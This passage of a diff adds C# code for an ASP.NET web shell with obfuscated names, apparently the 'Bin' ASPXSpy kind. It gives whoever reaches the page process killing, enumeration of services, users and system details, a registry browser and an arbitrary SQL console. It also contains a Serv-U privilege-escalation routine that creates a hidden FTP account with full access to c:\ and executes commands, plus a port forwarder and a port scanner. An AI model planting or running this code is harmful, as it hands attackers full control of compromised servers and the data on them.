+foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
+{
+p.InvokeMethod("Terminate",null);
+p.Dispose();
+}
+xseuB("Process Kill Success !");
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+AIz();
+}
+public void oHpF()
+{
+try
+{
+Bin_H2_Title.InnerText="Services >>";
+WICxe();
+iQxm.Visible=true;
+int UEbTI=0;
+ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
+for(int i=0;i<kQmRu.Length;i++)
+{
+UEbTI++;
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+for(int b=1;b<7;b++)
+{
+TableCell td=new TableCell();
+if(b==1)
+{
+td.Width=Unit.Parse("2%");
+td.Text=UEbTI.ToString();
+tr.Controls.Add(td);
+}
+if(b==2)
+{
+td.Text="null";
+tr.Controls.Add(td);
+}
+if(b==3)
+{
+td.Text=kQmRu[i].ServiceName.ToString();
+tr.Controls.Add(td);
+}
+if(b==4)
+{
+td.Text="";
+tr.Controls.Add(td);
+}
+if(b==5)
+{
+string kOIo=kQmRu[i].Status.ToString();
+if(kOIo=="Running")
+{
+td.Text="<font color=green>"+kOIo+"</font>";
+}
+else
+{
+td.Text="<font color=red>"+kOIo+"</font>";
+}
+tr.Controls.Add(td);
+}
+if(b==6)
+{
+td.Text="";
+tr.Controls.Add(td);
+}
+}
+vHCs.Controls.Add(tr);
+}
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public void tZRH()
+{
+try
+{
+Bin_H2_Title.InnerText="Services >>";
+WICxe();
+iQxm.Visible=true;
+int UEbTI=0;
+DataTable dt=cCf("Win32_Service");
+for(int j=0;j<dt.Rows.Count;j++)
+{
+UEbTI++;
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
+for(int i=1;i<7;i++)
+{
+TableCell td=new TableCell();
+if(i==1)
+{
+td.Width=Unit.Parse("2%");
+td.Text=UEbTI.ToString();
+tr.Controls.Add(td);
+}
+if(i==2)
+{
+td.Text=dt.Rows[j]["ProcessID"].ToString();
+tr.Controls.Add(td);
+}
+if(i==3)
+{
+td.Text=dt.Rows[j]["Name"].ToString();
+tr.Controls.Add(td);
+}
+if(i==4)
+{
+td.Text=dt.Rows[j]["PathName"].ToString();
+tr.Controls.Add(td);
+}
+if(i==5)
+{
+string kOIo=dt.Rows[j]["State"].ToString();
+if(kOIo=="Running")
+{
+td.Text="<font color=green>"+kOIo+"</font>";
+}
+else
+{
+td.Text="<font color=red>"+kOIo+"</font>";
+}
+tr.Controls.Add(td);
+}
+if(i==6)
+{
+td.Text=dt.Rows[j]["StartMode"].ToString();
+tr.Controls.Add(td);
+}
+}
+vHCs.Controls.Add(tr);
+}
+}
+catch(Exception error)
+{
+oHpF();
+}
+}
+public void PLd()
+{
+try
+{
+WICxe();
+xWVQ.Visible=true;
+Bin_H2_Title.InnerText="User Information >>";
+DirectoryEntry TWQ=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
+foreach(DirectoryEntry child in TWQ.Children)
+{
+foreach(string name in child.Properties.PropertyNames)
+{
+PropertyValueCollection pvc=child.Properties[name];
+int c=pvc.Count;
+for(int i=0;i<c;i++)
+{
+if(name!="objectSid" && name!="Parameters" && name!="LoginHours")
+{
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+TableCell td=new TableCell();
+td.Text=name;
+tr.Controls.Add(td);
+TableCell td1=new TableCell();
+td1.Text=pvc[i].ToString();
+tr.Controls.Add(td1);
+VPa.Controls.Add(tr);
+}
+}
+}
+TableRow trn=new TableRow();
+for(int x=1;x<3;x++)
+{
+TableCell tdn=new TableCell();
+tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
+trn.Controls.Add(tdn);
+VPa.Controls.Add(trn);
+}
+}
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public void iLVUT()
+{
+try
+{
+WICxe();
+xWVQ.Visible=true;
+Bin_H2_Title.InnerText="User Information >>";
+DataTable user=cCf("Win32_UserAccount");
+for(int i=0;i<user.Rows.Count;i++)
+{
+for(int j=0;j<user.Columns.Count;j++)
+{
+string bg=OKM();
+TableRow tr=new TableRow();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+TableCell td=new TableCell();
+td.Text=user.Columns[j].ToString();
+tr.Controls.Add(td);
+TableCell td1=new TableCell();
+td1.Text=user.Rows[i][j].ToString();
+tr.Controls.Add(td1);
+VPa.Controls.Add(tr);
+}
+TableRow trn=new TableRow();
+for(int x=1;x<3;x++)
+{
+TableCell tdn=new TableCell();
+tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;";
+trn.Controls.Add(tdn);
+VPa.Controls.Add(trn);
+}
+}
+}
+catch(Exception error)
+{
+PLd();
+}
+}
+public void pDVM()
+{
+try
+{
+RegistryKey EeZ=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp");
+string IKjwH=DdmPl(EeZ,"PortNumber");
+RegistryKey izN=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor");
+int cpu=izN.SubKeyCount;
+RegistryKey mQII=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\");
+string NPPZ=DdmPl(mQII,"ProcessorNameString");
+WICxe();
+ghaB.Visible=true;
+Bin_H2_Title.InnerText="System Information >>";
+Bin_H2_Mac.InnerText="MAC Information >>";
+Bin_H2_Driver.InnerText="Driver Information >>";
+StringBuilder yEwc=new StringBuilder();
+StringBuilder hwJeS=new StringBuilder();
+StringBuilder jXkaE=new StringBuilder();
+yEwc.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>");
+yEwc.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>");
+yEwc.Append("<li><u>Terminal Port : </u>"+IKjwH+"</li>");
+yEwc.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>");
+yEwc.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>");
+yEwc.Append("<li><u>Server UserName : </u>"+Environment.UserName+"</li>");
+yEwc.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>");
+yEwc.Append("<li><u>Server TimeZone : </u>"+cCf("Win32_TimeZone").Rows[0]["Caption"]+"</li>");
+DataTable BIOS=cCf("Win32_BIOS");
+yEwc.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>");
+yEwc.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>");
+yEwc.Append("<li><u>CPU Version : </u>"+NPPZ+"</li>");
+DataTable upM=cCf("Win32_PhysicalMemory");
+Int64 oZnZV=0;
+for(int i=0;i<upM.Rows.Count;i++)
+{
+oZnZV+=Int64.Parse(upM.Rows[0]["Capacity"].ToString());
+}
+yEwc.Append("<li><u>Server upM : </u>"+mTG(oZnZV)+"</li>");
+DataTable dOza=cCf("Win32_NetworkAdapterConfiguration");
+for(int i=0;i<dOza.Rows.Count;i++)
+{
+hwJeS.Append("<li><u>Server MAC"+i+" : </u>"+dOza.Rows[i]["Caption"]+"</li>");
+if(dOza.Rows[i]["MACAddress"]!=string.Empty)
+{
+hwJeS.Append("<li style=\"list-style:none;\"><u>Address : </u>"+dOza.Rows[i]["MACAddress"]+"</li>");
+}
+}
+DataTable Driver=cCf("Win32_SystemDriver");
+for (int i=0; i<Driver.Rows.Count; i++)
+{
+jXkaE.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> ");
+if (Driver.Rows[i]["PathName"]!=string.Empty)
+{
+jXkaE.Append("Path : "+Driver.Rows[i]["PathName"]);
+}
+else
+{
+jXkaE.Append("No path information");
+}
+jXkaE.Append("</li>");
+}
+Bin_Ul_Sys.InnerHtml=yEwc.ToString();
+Bin_Ul_NetConfig.InnerHtml=hwJeS.ToString();
+Bin_Ul_Driver.InnerHtml=jXkaE.ToString();
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public void ADCpk()
+{
+WICxe();
+APl.Visible=true;
+Bin_H2_Title.InnerText="Serv-U Exec >>";
+}
+public void lDODR()
+{
+string JGGg=string.Empty;
+string user=dNohJ.Value;
+string pass=NMd.Value;
+int port=Int32.Parse(HlQl.Value);
+string cmd=mHbjB.Value;
+string CRtK="user "+user+"\r\n";
+string jnNG="pass "+pass+"\r\n";
+string site="SITE MAINTENANCE\r\n";
+string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
+string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
+string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
+string zexn="QUIT\r\n";
+UHlA.Visible=true;
+try
+{
+tcp.Connect("127.0.0.1",port);
+tcp.ReceiveBufferSize=1024;
+NS=tcp.GetStream();
+Rev(NS);
+ZJiM(NS,CRtK);
+Rev(NS);
+ZJiM(NS,jnNG);
+Rev(NS);
+ZJiM(NS,site);
+Rev(NS);
+ZJiM(NS,mtoJb);
+Rev(NS);
+ZJiM(NS,sutI);
+Rev(NS);
+ZJiM(NS,iVDT);
+Rev(NS);
+Bin_Td_Res.InnerHtml+="<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>";
+zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521);
+NS1=zvxm.GetStream();
+Rev(NS1);
+ZJiM(NS1,"user bin\r\n");
+Rev(NS1);
+ZJiM(NS1,"pass binftp\r\n");
+Rev(NS1);
+ZJiM(NS1,"site exec "+cmd+"\r\n");
+Rev(NS1);
+ZJiM(NS1,"quit\r\n");
+Rev(NS1);
+zvxm.Close();
+ZJiM(NS,mtoJb);
+Rev(NS);
+tcp.Close();
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+protected void Rev(NetworkStream instream)
+{
+string FTBtf=string.Empty;
+if(instream.CanRead)
+{
+byte[] uPZ=new byte[1024];
+do
+{
+System.Threading.Thread.Sleep(50);
+int len=instream.Read(uPZ,0,uPZ.Length);
+FTBtf+=Encoding.Default.GetString(uPZ,0,len);
+}
+while(instream.DataAvailable);
+}
+Bin_Td_Res.InnerHtml+="<font color=red>"+FTBtf.Replace("\0","")+"</font>";
+}
+protected void ZJiM(NetworkStream instream,string Sendstr)
+{
+if(instream.CanWrite)
+{
+byte[] uPZ=Encoding.Default.GetBytes(Sendstr);
+instream.Write(uPZ,0,uPZ.Length);
+}
+Bin_Td_Res.InnerHtml+="<font color=blue>"+Sendstr+"</font>";
+}
+public void xFhz()
+{
+WICxe();
+kkHN.Visible=true;
+Bin_H2_Title.InnerText="RegShell >>";
+string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
+vyX.Text="";
+foreach(string rootkey in txc.Split('|'))
+{
+vyX.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a> | ";
+}
+lFAvw();
+}
+protected void lFAvw()
+{
+qPdI.Text="";
+string txc=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG";
+TableRow tr;
+TableCell tc;
+foreach(string rootkey in txc.Split('|'))
+{
+tr=new TableRow();
+tc=new TableCell();
+string bg=OKM();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tc.Width=Unit.Parse("40%");
+tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(rootkey)+"')\">"+rootkey+"</a>";
+tr.Cells.Add(tc);
+tc=new TableCell();
+tc.Width=Unit.Parse("60%");
+tc.Text="<RootKey>";
+tr.Cells.Add(tc);
+pLWD.Rows.Add(tr);
+}
+}
+protected void tpRQ(string Reg_Path)
+{
+if(!Reg_Path.EndsWith("\\"))
+{
+Reg_Path=Reg_Path+"\\";
+}
+qPdI.Text=Reg_Path;
+string cJG=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$","");
+cJG=Regex.Replace(cJG,@"\\+","\\");
+TableRow tr=new TableRow();
+TableCell tc=new TableCell();
+string bg=OKM();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(cJG)+"')\">Parent Key</a>";
+tc.Attributes["colspan"]="2" ;
+tr.Cells.Add(tc);
+pLWD.Rows.Add(tr);
+try
+{
+string subpath;
+string kDgkX=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1);
+RegistryKey rk=null;
+RegistryKey sk;
+if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE"))
+{
+rk=Registry.LocalMachine;
+}
+else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT"))
+{
+rk=Registry.ClassesRoot;
+}
+else if(Reg_Path.StartsWith("HKEY_CURRENT_USER"))
+{
+rk=Registry.CurrentUser;
+}
+else if(Reg_Path.StartsWith("HKEY_USERS"))
+{
+rk=Registry.Users;
+}
+else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG"))
+{
+rk=Registry.CurrentConfig;
+}
+if(kDgkX.Length>1)
+{
+sk=rk.OpenSubKey(kDgkX);
+}
+else
+{
+sk=rk;
+}
+foreach(string innerSubKey in sk.GetSubKeyNames())
+{
+tr=new TableRow();
+tc=new TableCell();
+bg=OKM();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tc.Width=Unit.Parse("40%");
+tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+MVVJ(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>";
+tr.Cells.Add(tc);
+tc=new TableCell();
+tc.Width=Unit.Parse("60%");
+tc.Text="<SubKey>";
+tr.Cells.Add(tc);
+pLWD.Rows.Add(tr);
+}
+TableRow cKVA=new TableRow();
+cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
+cKVA.Attributes["bgcolor"]="#dddddd";
+TableCell JlmW=new TableCell();
+JlmW.Attributes["colspan"]="2" ;
+JlmW.Attributes["height"]="5";
+cKVA.Cells.Add(JlmW);
+pLWD.Rows.Add(cKVA);
+foreach(string strValueName in sk.GetValueNames())
+{
+tr=new TableRow();
+tc=new TableCell();
+bg=OKM();
+tr.Attributes["onmouseover"]="this.className='focus';";
+tr.CssClass=bg;
+tr.Attributes["onmouseout"]="this.className='"+bg+"';";
+tc.Width=Unit.Parse("40%");
+tc.Text=strValueName;
+tr.Cells.Add(tc);
+tc=new TableCell();
+tc.Width=Unit.Parse("60%");
+tc.Text=DdmPl(sk,strValueName);
+tr.Cells.Add(tc);
+pLWD.Rows.Add(tr);
+}
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+}
+public string DdmPl(RegistryKey sk,string strValueName)
+{
+object uPZ;
+string RaTGr="";
+try
+{
+uPZ=sk.GetValue(strValueName,"NULL");
+if(uPZ.GetType()==typeof(byte[]))
+{
+foreach(byte tmpbyte in(byte[])uPZ)
+{
+if((int)tmpbyte<16)
+{
+RaTGr+="0";
+}
+RaTGr+=tmpbyte.ToString("X");
+}
+}
+else if(uPZ.GetType()==typeof(string[]))
+{
+foreach(string tmpstr in(string[])uPZ)
+{
+RaTGr+=tmpstr;
+}
+}
+else
+{
+RaTGr=uPZ.ToString();
+}
+}
+catch(Exception error)
+{
+xseuB(error.Message);
+}
+return RaTGr;
+}
+public void vNCHZ()
+{
+WICxe();
+YwLB.Visible=true;
+Bin_H2_Title.InnerText="PortScan >>";
+}
+public void rAhe()
+{
+WICxe();
+iDgmL.Visible=true;
+dQIIF.Visible=false;
+Bin_H2_Title.InnerText="DataBase >>";
+}
+protected void OUj()
+{
+if(Dtdr.State==ConnectionState.Closed)
+{
+try
+{
+Dtdr.ConnectionString=MasR.Text;
+Kkvb.Connection=Dtdr;
+Dtdr.Open();
+}
+catch(Exception Error)
+{
+xseuB(Error.Message);
+}
+}
+}
+protected void fUzE()
+{
+if(Dtdr.State==ConnectionState.Open)
+Dtdr.Close();
+Dtdr.Dispose();
+Kkvb.Dispose();
+}
+public DataTable CYUe(string sqlstr)
+{
+OleDbDataAdapter da=new OleDbDataAdapter();
+DataTable Dstog=new DataTable();
+try
+{
+OUj();
+Kkvb.CommandType=CommandType.Text;
+Kkvb.CommandText=sqlstr;
+da.SelectCommand=Kkvb;
+da.Fill(Dstog);
+}
+catch(Exception)
+{
+}
+finally
+{
+fUzE();
+}
+return Dstog;
+}
+public DataTable[] Bin_Data(string query)
+{
+ArrayList list=new ArrayList();
+try
+{
+string str;
+OUj();
+query=query+"\r\n";
+MatchCollection gcod=new Regex("[\r\n][gG][oO][\r\n]").Matches(query);
+int EmRX=0;
+for(int i=0;i<gcod.Count;i++)
+{
+Match FJD=gcod[i];
+str=query.Substring(EmRX,FJD.Index-EmRX);
+if(str.Trim().Length>0)
+{
+OleDbDataAdapter FgzeQ=new OleDbDataAdapter();
+Kkvb.CommandType=CommandType.Text;
+Kkvb.CommandText=str.Trim();
+FgzeQ.SelectCommand=Kkvb;
+DataSet cDPp=new DataSet();
+FgzeQ.Fill(cDPp);
+for(int j=0;j<cDPp.Tables.Count;j++)
+{
+list.Add(cDPp.Tables[j]);
+}
+}
+EmRX=FJD.Index+3;
+}
+str=query.Substring(EmRX,query.Length-EmRX);
+if(str.Trim().Length>0)
+{
+OleDbDataAdapter VwB=new OleDbDataAdapter();
+Kkvb.CommandType=CommandType.Text;
+Kkvb.CommandText=str.Trim();
+VwB.SelectCommand=Kkvb;
+DataSet arG=new DataSet();
+VwB.Fill(arG);
+for(int k=0;k<arG.Tables.Count;k++)
+{
+list.Add(arG.Tables[k]);
+}
+}
+}
+catch(SqlException e)
+{
+xseuB(e.Message);
+rom.Visible=false;
+}
+return(DataTable[])list.ToArray(typeof(DataTable));
+}
+public void JIAKU(string instr)
+{
+try
+{
+OUj();
+Kkvb.CommandType=CommandType.Text;
+Kkvb.CommandText=instr;
+Kkvb.ExecuteNonQuery();
+}
+catch(Exception e)
+{
+xseuB(e.Message);
+}
+}
+public void dwgT()
+{
+try
+{
+OUj();
+if(WYmo.SelectedItem.Text=="MSSQL")
+{
+if(Pvf.SelectedItem.Value!="")
+{
+Dtdr.ChangeDatabase(Pvf.SelectedItem.Value.ToString());
+}
+}
+DataTable[] jxF=null;
+jxF=Bin_Data(jHIy.InnerText);
+if(jxF!=null && jxF.Length>0)
+{
+for(int j=0;j<jxF.Length;j++)
+{
+rom.PreRender+=new EventHandler(lRavM);
+rom.DataSource=jxF[j];
+rom.DataBind();
+for(int i=0;i<rom.Items.Count;i++)
+{
+string bg=OKM();
+rom.Items[i].CssClass=bg;
+rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
+rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
+}
+}
+}
+else
+{
+rom.DataSource=null;
+rom.DataBind();
+}
+rom.Visible=true;
+}
+catch(Exception e)
+{
+xseuB(e.Message);
+rom.Visible=false;
+}
+}
+public void xTZY()
+{
+try
+{
+if(WYmo.SelectedItem.Text=="MSSQL")
+{
+if(Pvf.SelectedItem.Value=="")
+{
+rom.DataSource=null;
+rom.DataBind();
+return;
+}
+}
+OUj();
+DataTable zKvOw=new DataTable();
+DataTable jxF=new DataTable();
+DataTable baVJV=new DataTable();
+if(WYmo.SelectedItem.Text=="MSSQL" && Pvf.SelectedItem.Value!="")
+{
+Dtdr.ChangeDatabase(Pvf.SelectedItem.Text);
+}
+zKvOw=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"SYSTEM TABLE" });
+jxF=Dtdr.GetOleDbSchemaTable(OleDbSchemaGuid.Tables,new Object[] { null,null,null,"TABLE" });
+foreach(DataRow dr in zKvOw.Rows)
+{
+jxF.ImportRow(dr);
+}
+jxF.Columns.Remove("TABLE_CATALOG");jxF.Columns.Remove("TABLE_SCHEMA");jxF.Columns.Remove("DESCRIPTION");jxF.Columns.Remove("TABLE_PROPID");
+rom.PreRender+=new EventHandler(lRavM);
+rom.DataSource=jxF;
+rom.DataBind();
+for(int i=0;i<rom.Items.Count;i++)
+{
+string bg=OKM();
+rom.Items[i].CssClass=bg;
+rom.Items[i].Attributes["onmouseover"]="this.className='focus';";
+rom.Items[i].Attributes["onmouseout"]="this.className='"+bg+"';";
+}
+rom.Visible=true;
+}
+catch(Exception e)
+{
+xseuB(e.Message);
+rom.Visible=false;
+}
+}
+private void lRavM(object sender,EventArgs e)
+{
+DataGrid d=(DataGrid)sender;
+foreach(DataGridItem item in d.Items)
+{
+foreach(TableCell t in item.Cells)
+{
+t.Text=t.Text.Replace("<","<").Replace(">",">");
+}
+}
+}
+public void vCf()
+{
+dQIIF.Visible=true;
+try
+{
+jHIy.InnerHtml=string.Empty;
+if(WYmo.SelectedItem.Text=="MSSQL")
+{
+rom.Visible=false;
+uXevN.Visible=true;
+irTU.Visible=true;
+OUj();
+DataTable ver=CYUe(@"SELECT @@VERSION");
+DataTable dbs=CYUe(@"SELECT name FROM master.dbo.sysdatabases");
+DataTable cdb=CYUe(@"SELECT DB_NAME()");
+DataTable rol=CYUe(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
+DataTable YKrm=CYUe(@"SELECT IS_MEMBER('db_owner')");
+string jHlh=ver.Rows[0][0].ToString();
+string dbo=string.Empty;
+if(YKrm.Rows[0][0].ToString()=="1")
+{
+dbo="db_owner";
+}
+else
+{
+dbo="public";
+}
+if(rol.Rows[0][0].ToString()=="1")
+{
+dbo="<font color=blue>sa</font>";
+}
+string db_name=string.Empty;
+foreach(ListItem item in FGEy.Items)
+{
+ if(item.Selected=true)
+ {
+ item.Selected=false;
+ }
+}
+Pvf.Items.Clear();
+Pvf.Items.Add("-- Select a DataBase --");
+Pvf.Items[0].Value="";
+for(int i=0;i<dbs.Rows.Count;i++)
+{
+db_name+=dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(),"<font color=blue>"+cdb.Rows[0][0].ToString()+"</font>")+" | ";
+Pvf.Items.Add(dbs.Rows[i][0].ToString());
+}
+irTU.InnerHtml="<p><font color=red>MSSQL Version</font> : <i><b>"+jHlh+"</b></i></p><p><font color=red>SrvRoleMember</font> : <i><b>"+dbo+"</b></i></p>";
+}
+else
+{
+uXevN.Visible=false;
+irTU.Visible=false;
+xTZY();
+}
+}
+catch(Exception e)
+{
+dQIIF.Visible=false;
+}
+}
+public void MHLv()
+{
+WICxe();
+hOWTm.Visible=true;
+Bin_H2_Title.InnerText="PortMap >>";
+}
+public class PortForward
+{
+public string Localaddress;
+public int LocalPort;
+public string RemoteAddress;
+public int RemotePort;
+string type;
+Socket ltcpClient;
+Socket rtcpClient;
+Socket server;
+byte[] DPrPL=new byte[2048];
+byte[] wvZv=new byte[2048];
+public struct session
+{
+public Socket rdel;
+public Socket ldel;
+public int llen;
+public int rlen;
+}
+public static IPEndPoint mtJ(string host,int port)
+{
+IPEndPoint iep=null;
+IPHostEntry aGN=Dns.Resolve(host);
+IPAddress rmt=aGN.AddressList[0];
+iep=new IPEndPoint(rmt,port);
+return iep;
+}
+public void Start(string Rip,int Rport,string lip,int lport)
+{
+try
+{
+LocalPort=lport;
+RemoteAddress=Rip;
+RemotePort=Rport;
+Localaddress=lip;
+rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
+ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
+rtcpClient.BeginConnect(mtJ(RemoteAddress,RemotePort),new AsyncCallback(iiGFO),rtcpClient);
+}
+catch (Exception ex) { }
+}
+protected void iiGFO(IAsyncResult ar)
+{
+try
+{
+session RKXy=new session();
+RKXy.ldel=ltcpClient;
+RKXy.rdel=rtcpClient;
+ltcpClient.BeginConnect(mtJ(Localaddress,LocalPort),new AsyncCallback(VTp),RKXy);
+}
+catch (Exception ex) { }
+}
+protected void VTp(IAsyncResult ar)
+{
+try
+{
+session RKXy=(session)ar.AsyncState;
+ltcpClient.EndConnect(ar);
+RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(LFYM),RKXy);
+RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(xPS),RKXy);
+}
+catch (Exception ex) { }
+}
+private void LFYM(IAsyncResult ar)
+{
+try
+{
+session RKXy=(session)ar.AsyncState;
+int Ret=RKXy.rdel.EndReceive(ar);
+if (Ret>0)
+ltcpClient.BeginSend(DPrPL,0,Ret,SocketFlags.None,new AsyncCallback(JTcp),RKXy);
+else lyTOK();
+}
+catch (Exception ex) { }
+}
+private void JTcp(IAsyncResult ar)
+{
+try
+{
+session RKXy=(session)ar.AsyncState;
+RKXy.ldel.EndSend(ar);
+RKXy.rdel.BeginReceive(DPrPL,0,DPrPL.Length,SocketFlags.None,new AsyncCallback(this.LFYM),RKXy);
+}
+catch (Exception ex) { }
+}
+private void xPS(IAsyncResult ar)
+{
+try
+{
+session RKXy=(session)ar.AsyncState;
+int Ret=RKXy.ldel.EndReceive(ar);
+if (Ret>0)
+RKXy.rdel.BeginSend(wvZv,0,Ret,SocketFlags.None,new AsyncCallback(IZU),RKXy);
+else lyTOK();
+}
+catch (Exception ex) { }
+}
+private void IZU(IAsyncResult ar)
+{
+try
+{
+session RKXy=(session)ar.AsyncState;
+RKXy.rdel.EndSend(ar);
+RKXy.ldel.BeginReceive(wvZv,0,wvZv.Length,SocketFlags.None,new AsyncCallback(this.xPS),RKXy);
+}
+catch (Exception ex) { }
+}
+public void lyTOK()
+{
+try
+{
+if (ltcpClient!=null)
+{
+ltcpClient.Close();
+}
+if (rtcpClient!=null)
+rtcpClient.Close();
+}
+catch (Exception ex) { }
+}
+}
+protected void vuou()
+{
+PortForward gYP=new PortForward();
+gYP.lyTOK();
+}
+protected void ruQO()
+{
+PortForward gYP=new PortForward();
+gYP.Start(llH.Value,int.Parse(ZHS.Value),eEpm.Value,int.Parse(iXdh.Value));
+}
+public string mRDl(string instr)
+{
+string tmp=null;
+try
+{
+tmp=System.Net.Dns.Resolve(instr).AddressList[0].ToString();
+}
+catch(Exception e)
+{
+}
+return tmp;
+}
+public void VikG()
+{
+string[] OTV=lOmX.Text.ToString().Split(',');
+for(int i=0;i<OTV.Length;i++)
+{
+IVc.Add(new ScanPort(mRDl(MdR.Text.ToString()),Int32.Parse(OTV[i])));
+}
+try
+{
+Thread[] kbXY=new Thread[IVc.Count];
+int sdO=0;
+for(sdO=0;sdO<IVc.Count;sdO++)
+{
+kbXY[sdO]=new Thread(new ThreadStart(((ScanPort)IVc[sdO]).Scan));
+kbXY[sdO].Start();
+}
+for(sdO=0;sdO<kbXY.Length;sdO++)
+kbXY[sdO].Join();
+}
+catch
+{
+}
+}
+public class ScanPort
+{
+private string _ip="";
+private int jTdO=0;
+private TimeSpan _timeSpent;
+private string QGcH="Not scanned";
+public string ip
+{
+get { return _ip;}
+}
+public int port
+{
+get { return jTdO;}
+}
+public string status
+{
+get { return QGcH;}
+}
+public TimeSpan timeSpent
+{
+get { return _timeSpent;}
+}
+public ScanPort(string ip,int port)
+{
+_ip=ip;
+jTdO=port;
+}
+public void Scan()
+{
+TcpClient iYap=new TcpClient();
+DateTime qYZT=DateTime.Now;
+try
+{
+iYap.Connect(_ip,jTdO);
+iYap.Close();
+QGcH="<font color=green><b>Open</b></font>";
+}
+catch
+{
+QGcH="<font color=red><b>Close</b></font>";
+}
+_timeSpent=DateTime.Now.Subtract(qYZT);
+}
+}
+public static void YFcNP(System.Web.UI.Page page)
+{
+page.RegisterHiddenField("__EVENTTARGET","");
+page.RegisterHiddenField("__FILE","");
+string s=@"<script language=Javascript>";
+s+=@"function Bin_PostBack(eventTarget,eventArgument)";
+s+=@"{";
+s+=@"var theform=document.forms[0];";
